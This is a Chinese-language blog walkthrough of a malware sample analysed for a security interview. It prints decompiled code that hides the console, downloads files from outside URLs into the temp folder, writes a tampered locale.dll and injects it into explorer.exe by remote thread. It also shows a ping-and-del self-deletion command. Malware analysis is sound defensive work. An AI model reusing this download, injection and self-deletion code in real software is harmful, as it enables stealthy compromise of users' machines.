火绒一面病毒样本分析

样本信息

MD5: 6E4B0A001C493F0FCF8C5E9020958F38

SHA1:BEA213F1C932455AEE8FF6FDE346B1D1960D57FF

CRC32: 1CD8074D

查壳

无壳

在这里插入图片描述

手动分析

主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
………………
  v77 = v3;
  v78 = retaddr;
  v76 = -1;
  v75 = &loc_F400D;
  v74 = NtCurrentTeb()->NtTib.ExceptionList;
  v73 = &v79;
  v55 = 0;
  v4 = GetConsoleWindow();
  ShowWindow(v4, 0);                            // ShowWindow(GetConsoleWindow(),SW_HIDE) 隐藏终端程序端口
  sub_D2190("procmon");                         // procmon,微软出品 监视软件运行
  sub_D2190("wireshark");                       // 打开wireshark?
  sub_D2190("procexp");                         // 第三方进程管理器,可以一键取代系统自带任务管理器,但是不能一键恢复,有微软的数字签名。
                                                // 留坑:一般用户应该没装这玩意儿,难不成自带
                                                // 
  if ( ExpandEnvironmentStringsA("%temp%", v64, 0x104u) )// 扩充环境字符串:将百分号封闭起来的环境变量名转换成那个变量的内容
                                                //      这里被赋值临时文件的路径
  {
    strcpy((char *)v56, "x.zip");               // 这里拼接字符串,mark下 x.zip
    memset(v70, 0, 0x104u);
    v5 = &v64[strlen(v64) + 1] - v64;
    v6 = &v69;
    while ( *++v6 )
      ;
    qmemcpy(v6, v64, v5);
    v8 = &v69;
    while ( *++v8 )
      ;
    *(_WORD *)v8 = 92;
    v10 = (char *)v56 + strlen((const char *)v56) + 1 - (char *)v56;
    v11 = &v69;
    while ( *++v11 )
      ;
    qmemcpy(v11, v56, v10);                     // qmemcpy赋值了一串路径:
                                                // C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip
                                                // 
    strcpy(v71, "7z4..1v0r_teernvCos/adlowndom/coy.iturecusah.kww/w:/tpht");
    sub_D2990(v71);                             // http://www.kahusecurity.com/downloads/Converter_v0.14.7z
    sub_D2110(v71, v70);                        // Mark关键函数:传入converter下载网址和g.zip的文件地址进行处理,后面再步入详细分析。
                                                // 第一个参数是个url,下载格式转换软件的压缩包
                                                // 第二个参数是 C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip
    if ( GetFileAttributesA(v70) != 34 )        // 获取g.zip文件属性
      SetFileAttributesA(v70, 0x22u);
    v70[0] = 0;
    LOBYTE(v56[0]) = 103;
    v13 = &v64[strlen(v64) + 1] - v64;
    v14 = &v69;
    while ( *++v14 )
      ;
    qmemcpy(v14, v64, v13);                     // v15 赋值字符串 \x.zip
    v16 = &v69;
    while ( *++v16 )
      ;
    *(_WORD *)v16 = 92;
    v18 = (char *)v56 + strlen((const char *)v56) + 1 - (char *)v56;
    v19 = &v69;
    while ( *++v19 )
      ;
    qmemcpy(v19, v56, v18);                     // v20的值 p
    strcpy(v72, "jp3.r-pepallway-wa-angyifls-owcrs/gema/iom.ceflierap/p:/tphtg");
    sub_D2990(v72);
    sub_D2110(v72, v70);                        // 第二次调用该函数。得URL:
                                                // http://paperlief.com/images/crows-flying-away-wallpaper-3.jpg
    if ( GetFileAttributesA(v70) != 34 )        // 判断C:\Users\HOLY-P~1\AppData\Local\Temp\g.zip的文件属性
      SetFileAttributesA(v70, 0x22u);
  }
  strcpy(v68, "CDf:ge\\\\gwefiilnscdyuoqwwlfsas\\\\/s45y0cscxtddefem21332243\\\\9lkkooocvvaaalefeee...drolwel");
  memset(v62, 0, sizeof(v62));
  v76 = 0;
  v21 = 15;
  v61.dwProcessId = 0;
  v61.dwThreadId = 15;
  LOBYTE(v60[0]) = 0;
  v55 = 1;
  v58 = 0;
  v59 = 15;
  LOBYTE(v57[0]) = 0;
  sub_D4BE0(v57, v68, &v68[strlen(v68) + 1] - &v68[1]);// 这里是最后一次用到上面的乱序字符串,但是依旧没有处理
  LOBYTE(v76) = 1;
  v22 = 0;
  v56[0] = v58;
  if ( v58 > 0 )
  {
    for ( i = 0; ; i = v61.dwProcessId )        // 循环到 i=29退出
    {
      v24 = v57;
      if ( v59 >= 0x10 )
        v24 = (_DWORD *)v57[0];
      v25 = *((_BYTE *)v24 + v22);
      v54 = v25;
      if ( i >= v21 )
      {
        LOBYTE(v53) = 0;
        sub_D53F0(v60, i, v53, v54);
      }
      else
      {
        v61.dwProcessId = i + 1;
        v26 = v60;
        if ( v21 >= 0x10 )
          v26 = (_DWORD *)v60[0];
        *((_BYTE *)v26 + i) = v25;
        *((_BYTE *)v26 + i + 1) = 0;
      }
      v21 = v61.dwThreadId;
      v22 += 3;
      if ( v22 >= v56[0] )
        break;
    }
  }
  LOBYTE(v76) = 0;
  if ( v59 >= 0x10 )
  {
    v27 = (void *)v57[0];
    if ( v59 + 1 >= 0x1000 )
    {
      if ( v59 + 36 <= v59 + 1
        || (v57[0] & 0x1F) != 0
        || (v27 = *(void **)(v57[0] - 4), (unsigned int)v27 >= v57[0])
        || (unsigned int)(v57[0] - (_DWORD)v27) < 4
        || (unsigned int)(v57[0] - (_DWORD)v27) > 0x23 )
      {
        _invalid_parameter_noinfo_noreturn();
      }
    }
    sub_D85BE(v27);
  }
  v28 = (char *)v60[0];                         // 赋值:C:\windows\system32\locale.dll
  v29 = (char *)v60;
  if ( v21 >= 0x10 )
    v29 = (char *)v60[0];                       // 这里赋值 C:\windows\system32\locale.dll
  v30 = (_BYTE *)(v62 - v29);
  do
  {
    v31 = *v29++;
    v29[(_DWORD)v30 - 1] = v31;
  }
  while ( v31 );
  v76 = -1;
  if ( v21 >= 0x10 )
  {
    v32 = v21 + 1;
    v33 = v28;                                  // 赋值 C:\windows\system32\locale.dll
    if ( v32 >= 0x1000 )
    {
      if ( v32 + 35 <= v32
        || ((unsigned __int8)v28 & 0x1F) != 0
        || (v28 = (char *)*((_DWORD *)v28 - 1), v28 >= v33)
        || (v34 = v33 - v28, v34 < 4)
        || v34 > 0x23 )
      {
        _invalid_parameter_noinfo_noreturn();
      }
    }
    sub_D85BE(v28);
  }
  sub_D2690(v62);                               // Mark关键函数:这个函数有 explore.exe,正常是Windows图形化界面,
                                                // 但很多病毒喜欢伪装成这个名字
  GetModuleFileNameA(0, v67, 0x104u);           // 获取exe文件绝对路径,这里获取到病毒样本所在的路径
  v35 = GetFileAttributesA(v67);                // 获取本体文件的属性
  SetFileAttributesA(v67, v35 & 0xFFFFFFFE);    // 修改本体文件的属性
  memset(&v52, 0, sizeof(v52));
  v52.cb = 68;
  v61 = 0i64;
  v52.wShowWindow = 6;
  strcpy(v65, "636D642E657865202F432070696E67203132372E302E302E312026262064656C20");
  v52.dwFlags = 1;
  memset(v66, 0, sizeof(v66));
  memset(v63, 0, sizeof(v63));
  v36 = (const char *)sub_D1F00(v57, v65);
  v37 = v36;
  if ( *((_DWORD *)v36 + 5) >= 0x10u )
    v37 = *(const char **)v36;
  v38 = v37;                                    // edx赋值给esi:cmd.exe /C ping 127.0.0.1 && del
  v39 = strlen(v37) + 1;                        // 循环后值为34,是cmd.exe /C ping 127.0.0.1 && del \00 +1的长度
  v40 = &v62[511];
  while ( *++v40 )
    ;
  qmemcpy(v40, v38, 4 * (v39 >> 2));
  v43 = &v38[4 * (v39 >> 2)];
  v42 = &v40[4 * (v39 >> 2)];
  v44 = v39;
  v45 = v59;
  qmemcpy(v42, v43, v44 & 3);
  if ( v45 >= 0x10 )
  {
    v46 = (void *)v57[0];
    v47 = v45 + 1;
    if ( v47 >= 0x1000 )
    {
      if ( v47 + 35 <= v47
        || (v57[0] & 0x1F) != 0
        || (v46 = *(void **)(v57[0] - 4), (unsigned int)v46 >= v57[0])
        || (unsigned int)(v57[0] - (_DWORD)v46) < 4
        || (unsigned int)(v57[0] - (_DWORD)v46) > 0x23 )
      {
        _invalid_parameter_noinfo_noreturn();
      }
    }
    sub_D85BE(v46);
  }
  v48 = &v67[strlen(v67) + 1] - v67;
  v49 = &v62[511];
  while ( *++v49 )
    ;
  qmemcpy(v49, v67, v48);                       // 0  病毒样本所在地址 41
  CreateProcessA(0, v63, 0, 0, 1, 0x8000000u, 0, 0, &v52, &v61);
  return 0;
}
主函数分析补充

访问
http://www.kahusecurity.com/downloads/Converter_v0.14.7z
另存文件到 C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip

打开这个网址,看url应该是下载 Converter_v0.14.7z文件,格式转换??

在这里插入图片描述

搜索该网站下的版权声明找到了官网……貌似是个安全公司

在这里插入图片描述

可能是官网有变动,我在官网里找下载工具,找到converter,版本也是0.14。最后更新日期2016.9.30

恶意软件在安全团队官网下格式转换工具……太骚了_(:з」∠)_

在这里插入图片描述

------------下一处下载-----------------
访问
http://paperlief.com/images/crows-flying-away-wallpaper-3.jpg
另存文件到 C:\Users\HOLY-P~1\AppData\Local\Temp\g.zip

该URL访问后加载不出来图片……

综上两个文件的网址都无法访问,所以后面分析时并没有x.zip和g.zip文件生成

关键函数Ⅰ sub_D2110

下载文件到指定地址并重命名

char __fastcall sub_11F2110(LPCSTR a1, LPCSTR a2)
{
  HRESULT v4; // esi
  int v5; // eax
  char result; // al
  int v7; // edx
  int v8; // ecx
  int v9; // eax

  DeleteUrlCacheEntry(a1);
  v4 = URLDownloadToFileA(0, a1, a2, 0, 0);     // a1:http://www.kahusecurity.com/downloads/Converter_v0.14.7z
                                                // a2:C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip
                                                // URLDownloadToFile,指从指定URL地址读取内容并将读取到的内容保存到特定的文件里的实现方法。
                                                // 那这里应该是下载converter v0.14.zip到用户临时文件夹下,并命名为 x.zip(
                                                // 难怪分析main函数的时候,执行完这个函数在temp文件夹下找不到x.zip。应该是converter的下载网址换了导致无法下载。
                                                // --------------------------------------------
                                                // 后面该函数又被调用了一次,这次是
                                                // 下载文件:http://paperlief.com/images/crows-flying-away-wallpaper-3.jpg
                                                // 保存为:C:\Users\HOLY-P~1\AppData\Local\Temp\g.zip
  if ( v4 < 0 )
  {
    v7 = sub_11F5060();
    if ( v7 )
      v8 = v7 + *(_DWORD *)(*(_DWORD *)v7 + 4);
    else
      v8 = 0;
    *(_DWORD *)(v8 + 20) = *(_DWORD *)(v8 + 20) & 0xFFFFF9FF | 0x800;
    v9 = sub_11F3180(v7, v4);
    sub_11F5330(v9);
    result = 0;
  }
  else
  {
    v5 = sub_11F5060();
    sub_11F5330(v5);
    result = 1;
  }
  return result;
}
关键函数Ⅱ sub_D2690

篡改 locale.dll

HANDLE __thiscall sub_D2690(LPCVOID lpBuffer)
{
  …………
  v1 = (const char *)lpBuffer;
  *(_DWORD *)Buffer = lpBuffer;
  v2 = CreateFileA((LPCSTR)lpBuffer, 0xC0000000, 0, 0, 2u, 0x80u, 0);// 创建文件,返回句柄到v2
  if ( v2 == (HANDLE)-1 )                       // 这里跳过异常,该if不执行
  {
    *(_DWORD *)Buffer = 0;
    v10 = GetLastError();
    if ( FormatMessageA(0x3100u, 0, v10, 0, Buffer, 0, 0) && *(_DWORD *)Buffer )
    {
      *(_BYTE *)(strlen(*(const char **)Buffer) + *(_DWORD *)Buffer - 2) = 0;
      GetLastError();
      sub_D1160(v14, "%0.*s (0x%x)", 2032);
      LocalFree(*(HLOCAL *)Buffer);
    }
    else
    {
      v14[0] = 0;
    }
    result = (HANDLE)sub_D10E0("\nLASTERROR: %s", v14);
  }
  else
  {
    v3 = 0;
    NumberOfBytesWritten = 0;
    do
    {
      ::Buffer[v3] = (__int128)_mm_xor_si128((__m128i)xmmword_101340, (__m128i)::Buffer[v3]);
      xmmword_1049C0[v3] = (__int128)_mm_xor_si128((__m128i)xmmword_101340, (__m128i)xmmword_1049C0[v3]);
      xmmword_1049D0[v3] = (__int128)_mm_xor_si128((__m128i)xmmword_1049D0[v3], (__m128i)xmmword_101340);
      xmmword_1049E0[v3] = (__int128)_mm_xor_si128((__m128i)xmmword_101340, (__m128i)xmmword_1049E0[v3]);
      v3 += 4;
    }
    while ( v3 < 4448 );
    WriteFile(v2, ::Buffer, 0x11600u, &NumberOfBytesWritten, 0);
    CloseHandle(v2);
    Sleep(0xC8u);
    Sleep(0xC8u);
    sub_D2360();
    v4 = 0;
    v5 = CreateToolhelp32Snapshot(0xFu, 0);     // 获取系统中正在运行的进程、线程信息,建立一个快照
    pe.dwSize = 296;
    if ( Process32First(v5, &pe) )              // Process32First和Process32Next配合使用
                                                // 枚举上面CreateToolhelp32Snapshot创建的快照里的所有进程
    {
      while ( _stricmp(pe.szExeFile, "explorer.exe") )// 遍历快照内的所有进程,
                                                // 查看当前进程 pe.szExeFile 是否名为 explorer.exe
      {
        if ( !Process32Next(v5, &pe) )
          goto LABEL_9;
      }
      v4 = pe.th32ProcessID;
LABEL_9:
      v1 = *(const char **)Buffer;
    }
    CloseHandle(v5);
    *(_DWORD *)&pe.szExeFile[108] = 148;
    result = (HANDLE)GetVersionExA((LPOSVERSIONINFOA)&pe.szExeFile[108]);
    if ( result )
    {
      result = *(HANDLE *)&pe.szExeFile[112];
      if ( *(_DWORD *)&pe.szExeFile[112] == 5 || *(_DWORD *)&pe.szExeFile[112] >= 6u )
      {
        result = OpenProcess(0x43Au, 0, v4);
        v7 = result;
        if ( result )
        {
          v8 = VirtualAllocEx(result, 0, strlen(v1), 0x3000u, 0x40u);// 在locale.dll的虚拟空间保留或提交内存区域
          result = (HANDLE)WriteProcessMemory(v7, v8, v1, strlen(v1), 0);// 对locale.dll进行改写,
                                                // 从地址0x33f0000开始,
          if ( result )
          {
            v9 = GetModuleHandleA("kernel32.dll");// 调用locale.dll
            result = GetProcAddress(v9, "LoadLibraryA");
            if ( result )
            {
              CreateRemoteThread(v7, 0, 0, (LPTHREAD_START_ROUTINE)result, v8, 0, 0);// 让locale.dll在其他地址空间中运行
              result = (HANDLE)CloseHandle(v7);
            }
          }
        }
      }
    }
  }
  return result;
}
单独分析篡改后的 locale.dll

IDA主函数分析的时候发现locale.dll被篡改并另启运行,但是在C:\windows\system32\下找不到 locale.dll……

火绒剑:动作过滤,只看文件监控日志,很快就找到了locale.dll的位置了(๑•̀ㅂ•́)و✧

在这里插入图片描述

破案,去SYSWOW64 !

用ida分析,找到了一串疑似URL的字符串。尝试动调时发现需要病毒样本才能正常加载,看来这个locale.dll确实就是被篡改过的。

在这里插入图片描述

技艺不精,用IDA调试dll时,由于病毒样本运行后删除自身所以没法断下,OD也不会调试DLL……好在改乱序字符串下就是排序代码,直接手敲得到真正的URL:

http://d1picvugn75nio.cloudfront.net

再往下走,有个ShellExecuteA,作用是最大化窗口打开该网址 (可能年代久远,该网站现在无法访问……)

病毒样本运行流程总结

隐藏程序端口
打开procmon wireshark procexp
获取用户的临时文件的路径

关键函数:sub_d2110
生成C:\Users\HOLY-P~1\AppData\Local\Temp\x.zip的路径
生成一个URL:http://www.kahusecurity.com/downloads/Converter_v0.14.7z
下载convert,并命名为x.zip保存到C:\Users\HOLY-P~1\AppData\Local\Temp\
生成一个URL:http://paperlief.com/images/crows-flying-away-wallpaper-3.jpg
下载convert,并命名为g.zip保存到C:\Users\HOLY-P~1\AppData\Local\Temp\

生成路径C:\windows\system32\locale.dll

关键函数:sub_D2690
获取系统正在运行的进程、线程,建立一个快照
遍历快照内的所有进程确定存在explorer.exe后执行下一步
对locale.dll进行改写(从 0x33f0000开始)
运行locale.dll 打开网址http://d1picvugn75nio.cloudfront.net

打开cmd.exe 
ping 127.0.0.1
删除自身
(此时被篡改的locale.dll仍存在于C:\windows\SysWOW64\ ,未被删除)

可疑行为

C:\Users\本机用户名\AppData\Local\Temp\路径下下载了两个文件,并重命名为g.zip和x.zip

进程中的 locale.dll内容被篡改

篡改后的locale.dll作用是打开网址:http://d1picvugn75nio.cloudfront.net

运行后删除自身,毁尸灭迹。但篡改后的locale.dll依旧存在,并且系统显示其修改日期仍是2009.7.14,不易被发现。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值